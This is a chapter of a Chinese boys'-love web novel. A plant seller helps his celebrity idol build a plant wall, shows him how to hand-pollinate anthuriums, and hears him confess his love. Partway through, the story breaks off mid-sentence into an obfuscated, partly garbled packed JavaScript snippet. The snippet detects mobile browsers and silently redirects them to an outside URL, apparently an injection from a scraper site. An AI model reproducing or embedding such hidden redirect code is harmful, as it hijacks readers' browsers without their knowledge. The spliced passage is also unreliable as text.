“就是这个吧。”老爸一脸认真抬着头看他,说:“虽然平时我和你妈总是‘你老公你老公’的说,但那是开玩笑的,你和你老……和简承之间相处还是要注意分寸。” “分寸?” “嗯,虽然说咱们家条件不如他,但是两个人交往吧,得平衡,平衡你知道吧。” 温可言一脸懵。 老爸啧地一声,着急道:“就是要矜持。” 温可言:“矜持什么?” “你不能倒贴呀!”老爸真急了,两只手扒着车门,“爸也不是说你就不能主动追人,但你这么三天两头往他家里跑,是不是太主动了,我怕他看轻你。” 温可言紧锁的眉头一下崩开,恍然大悟的哎呀一声。 “爸你说的都哪儿跟哪儿啊!我没有追他,我们不是那种关系。” “难道你不喜欢他?” “喜欢啊!”温可言立刻肯定道。 老爸:“你喜欢他,你去给他浇水打理,还拉这么一大车东西去给他装修,这不是追他是什么?” “他是我的客户啊!momo大佬,你忘啦?” “他也是你老公啊。” 温可言扶着脑门苦笑,“简承不是我老公,我从没说过他是我老公,什么时间什么地点哪本结婚证上说他是我老公了!?” “不是。”老爸也晕头了,他一开始的想法很纯粹的,“那你不想让他当你老公吗?” 温可言愣住。 “看吧。”老爸笑着,凑近说:“他虽然是你偶像但也是个男人啊,你老去他家,爸只是担心你吃亏。” 温可言:“我能吃什么亏……” 老爸:“总之我们和你妈妈的态度是一样的,可以交往但不要玩感情,要真诚。” “他不会的……”温可言也没有底气了。 如果简承是真诚的,那这段时间里自己感受到的是什么呢? 老爸加大声音:“他是个大明星,还比你大好几岁。” 父子俩都认为对方的脑回路不是很正常,温可言小发雷霆让老爸不许再讲这些。 温可言:“他不是那种人,而且我的喜欢不是那种喜欢,妈妈喜欢张学友也没想着嫁给他呀。” 老爸怒:“你这个臭小子!” 温可言迅速关窗,嘿嘿笑:“走了走了。” 小货车从从郊外一路开到市中心,快到滨江的时候简承发来消息问温可言到哪里了,温可言看路程只剩两公里,想着到门口了再跟他说。 小货车来到简承小区的路口,温可言准备给简承打电话。 电话刚拨出去简承就接了,“来了。” “哦哦,好。”温可言挂电话,正想用后视镜整理一下头发的时候,简承已经小跑到窗前,温可言吓了一大跳,“你……!” 简承穿着裹到小腿的羽绒服,戴了鸭舌帽,笑了笑就绕到副驾驶上车。 温可言还懵着呢忘了解锁。 “温老师。”简承敲敲车窗,温可言赶紧打开,简承笑着打趣:“我们小区附近的狗仔很多。” 小货车是家里平时送货用的,泥土灰尘裹着,偶尔天气好的时候拿高压水枪冲一下就算是清洁了。 副驾驶的位置上更是放了很多东西,没等温可言把东西扔后面简承就拉开了车门。 “不好意思。”温可言双手齐上开始扔东西。 一件外套、一个快递、两包抽纸、一大叠单据、一瓶喝了一半的矿泉水、四支笔、三双全新的一次性筷子,还有一张男科医院的宣传单。 简承:“……” “坐吧。”温可言满头大汗。 简承抿嘴笑笑,“没想到你还会开货车。” 温可言:“家里做小生意的都这样,什么都要干什么都会一点。” “很能干。”简承说,“走吧先进去。” 温可言:“会不会被狗仔拍到你坐货车。” “嗯?”简承转头看他,“那你觉得狗仔会怎么编排?说简承恋情曝光,对方竟是男性货车司机?” 温可言早上还跟老爸争论过,现在对这个话题敏感得很。 “怎么会!你又不是gay!” “温老师是gay吗?”简承问。 温可言打着方向盘,“我……” 简承:“直男?” 温可言脑子里轰隆隆的,“植男。” “看着不像。” “植物的植。”温可言弱弱回答。 得到了满意的答案简承便不再追问,简承笑着摇下车窗给保安打招呼让他开门。 温可言想到刚刚老爸说的话,心虚地抿抿嘴唇。 货车停在简承空出来的车位上,温可言熟练地从后座捞了一件工作罩衫穿上准备去卸货。 “还有吗?”简承问。 “什么?” “这个衣服。” 温可言:“你不用,我搬就好了,很快。” 说完温可言就要推门下车。 简承一把抓住温可言的胳膊:“你来帮我做事情我还站在一边看,算什么男人?” 没这么严重吧,温可言嘴角抽了抽。 偶像你没男人病就好了。 但简承不松手,温可言只好又从后座捞了一件。 这些罩衫都是平时干活穿的有些脏,也不讲究哪一件是谁的,温可言自己不介意,但是要简承穿还是有些不好意思。 但简承好像毫不在意。 就是罩衫套在他身上有点小了,两只胳膊都被架起来。 温可言看到笑了一声,接着马上想起他们还没各自发展的时候去参加那种农村生活综艺,他们努力又狼狈的干农活时可爱的样子,每一个“妈粉”想起来都会心软软。 “温老师?”简承的手在温可言面前挥了挥,“想什么呢?” 温可言一脸慈爱地看向简承,“没什么。” 货车里装着很多材料,有木板有玻璃,几袋土和水苔,还有老妈建议的黑色花盆。 虽然今天不能一口气把热植墙做好,但把材料先拉过来下次就不用开货车了。 温可言家境看起来还不错,长得也不像会干活的样子,实际上从小就帮家里做事,后来自己做热植生意更是亲力亲为,干活非常麻利。 东西比较多,一趟搬不完,第二躺还在电梯口碰到了下楼的邻居。 温可言对他有印象,之前他帮温可言开过一次电梯间的门。 “欸?”温可言看向他。 简承也立刻看过去,“认识?” “不不不,不算。”那人憋着笑,抬手遮住唇部轻咳一声,他眼神来回打量两个人一遍,说:“这是?” 简承偷偷剜他一眼,“我朋友。” “哦。”他朝温可言伸手,“上次没来得及自我介绍,我叫贺明。” 温可言握上去,“我叫温可言,是简哥的朋友。” 贺明一只脚还卡着电梯,“你们俩这是干嘛呢?” 温可言看向简承,简承动了动脚贴近温可言一点,说:“装修啊。” 贺明哦了一声,“四楼也在装修呢,小两口的婚房。” 简承低下头,微不可见地笑了一下。 “行我走了。”贺明拍了拍简承胳膊,“回见。” 两人把东西搬进电梯,温可言问:“简哥,他是谁啊?” 简承本想直接说,但话到嘴边又想逗一下他,“an明。” “是他啊!”温可言说。 话音刚落温可言就后悔了。 这个an明是和简承合作过几次的作曲人,这种细节不是粉丝根本不会知道。 电梯上行中,温可言转头装傻,却在电梯墙面的倒影中看到简承的笑脸。 “哈哈。”温可言回头,“今天是个大工程呢。” 简承点头:“是呀。” 温可言:“你要出门吗?不是说要去见制作人?” 简承:“约的明天。” “哦哦。”温可言笑得脸酸,沉默片刻之后说:“我想起来了,是毛毛跟我说过这个人,我说怎么听着这么耳熟呢。” 简承转头看他,嘴角缓缓扬起,“我猜也是的。” 电梯门刚打开,温可言拎着自己的工具包就冲出去了。 第一趟搬进来的东西还在家门口,温可言自然地跨过这堆东西去输密码开门,他太想逃离那个尴尬的电梯间了,以至于没有注意到这个家的主人其实就在他身后。 简承抱着几袋土跟着走进去,“放哪里?” “等一下。”温可言规划了一下待会儿在哪里换土,然后拿了一张塑料布铺在沙发后面,“放这里。” 简承应了声好,把土放过去之后又把木板搬进来,“这个呢?” 温可言指个位置,“那里,靠墙放。” 最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408118|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后是两摞花盆,“温老师,放哪里?” “放在土旁边,这些零碎的东西都放在塑料布上。”温可言已经进入严肃的工作状态了,看简承在笑就问他:“你笑什么?” 简承都没注意到自己在笑,“你好专业。” 温可言这才骄傲的微微抬起下巴,“那当然了。” 大冬天的穿着羽绒服忙了这么一会儿两个都很热,关上门就开始脱衣服。 简承脱了外套里面是贴身的黑色高领毛衣,温可言脱了外套里面是卫衣,其实温可言还是觉得很热,但里面的保暖内衣,真的不能再脱了。 “辛苦了。”简承倒了两杯水过来。 “谢谢。” 温可言一边喝水一边往热植那边走,“一会儿这些都要先搬下来,然后把架子挪开。” “好。”简承跟过去,站在温可言身后,“今天我是你的助手。” 温可言笑着转头,他鼻子上出了一点点汗,热得嘴唇都是红的,喝过水后看起来十分软嫩。 “对了,你看这里。”简承忽然上前一步指着靠里面的一盆红水晶花烛说,“长花剑了。” 他往前的时候没有侧身,前胸就那样轻轻贴在温可言的肩膀。 温可言肩膀和嗓子都紧绷着,“啊?” 这时简承又自然地撤开身体,往前去给温可言指长花剑的花烛,就像刚刚的触碰只是无意的。 “不止这一株,有三四盆都长了。”简承说。 温可言又热又燥,看向简承的背影时微微撅着嘴。 怎么觉得这个简承有点坏呢? “温老师。”简承回过头来,平淡的脸侧却有发红的耳朵。 他故意掠过温可言羞愤的脸,问他:“花烛怎么杂交?” 温可言走过去,把水杯放下给他示范。 花烛是观叶类植物,如果不做培育的话长花剑可以直接剪掉,避免花剑抢叶片的营养,简承平时没太多时间照顾植物们,任它们长了出来。 花剑是一根像小拇指那么粗的圆柱体,刚长出来会有一层薄皮包着,长大一些之后褪皮、分泌花蜜再长出花粉,所以需要两株花剑才可以杂交。花烛同时着生雌花和雄花,但他们不在同一时间内成熟,这种成熟方式能避免自交,提高遗传多样性。 温可言脑子里都是花烛的培育知识,但此刻却被穿着黑色紧身高领毛衣的简承扰得心很乱。 甚至连穿着松垮浴袍的简承也来捣乱。 好热啊,这该死的保暖内衣。 “怎么了?”简承走过来。 温可言心脏跳得很快,“你要杂交吗?” 简承:“学一下。” 温可言走上前去观察那几支花剑,发现居然正好有在花蜜期和花粉期的两株花烛。 温可言没有带授粉棒,就用手给他示范。 “这颗是红水晶,这颗是银脉比较粗的SKG水晶,这两个杂交的话有机会能得到一颗叶脉又红又粗的花烛。” 温可言说着,用右手的手指轻轻在出了花蜜的花剑上轻蘸。 紫红色的花剑上有着一颗一颗的凸起,长出来成熟后就会变成种子。 温可言的手不大,手指也很纤细,因为刚刚搬运东西身体发热,指尖变成了粉色。 简承的眼神追随着他的指尖,微微张开嘴唇辅助呼吸。 蘸完花蜜,温可言转头看他一眼,确认他还在听课之后用左手轻轻把长了花蜜的SKG水晶花烛的花剑伤轻蹭。蹭上了花粉再回到红水晶的花剑上搓一搓。 “如果花蜜比较多的话可以用另一只手擦掉一点,避免花蜜滴落带走蹭过来的花粉。” 简承闷闷地嗯了一声,粗壮的喉结上下滑动。 温可言操作完,整颗头都是红的。 “会了吗?” “应该会了。”简承说着,自己后退两步保持距离。 温可言不知道自己怎么了,也觉得简承很奇怪,但是又不知道怎么办。 他感受到了暧昧的氛围,但是自己并不享受这样的暧昧。 “温老师。”简承身体紧绷着,表情开始不自在。 他微微上前想让温可言把水杯递给自己好放回去。 “你干嘛!”温可言突然慌乱后撤,撞倒了身后的一盆奢华花烛,这盆不久之前才换土,松软的土洒了一地,也散落在温可言的脚背。 温可言忽然有些委屈,“你干嘛呀……你什么意思。” 他眼眶都红了,抬眼看着简承。 “对不起。” 简承僵在原地不敢再靠近,他紧紧捏着手里的水杯,慌乱地开口,“对不起,我是……喜欢你。” 温可言的眼泪滚下来,却如释重负,大声说:“那你直说就好了嘛!!”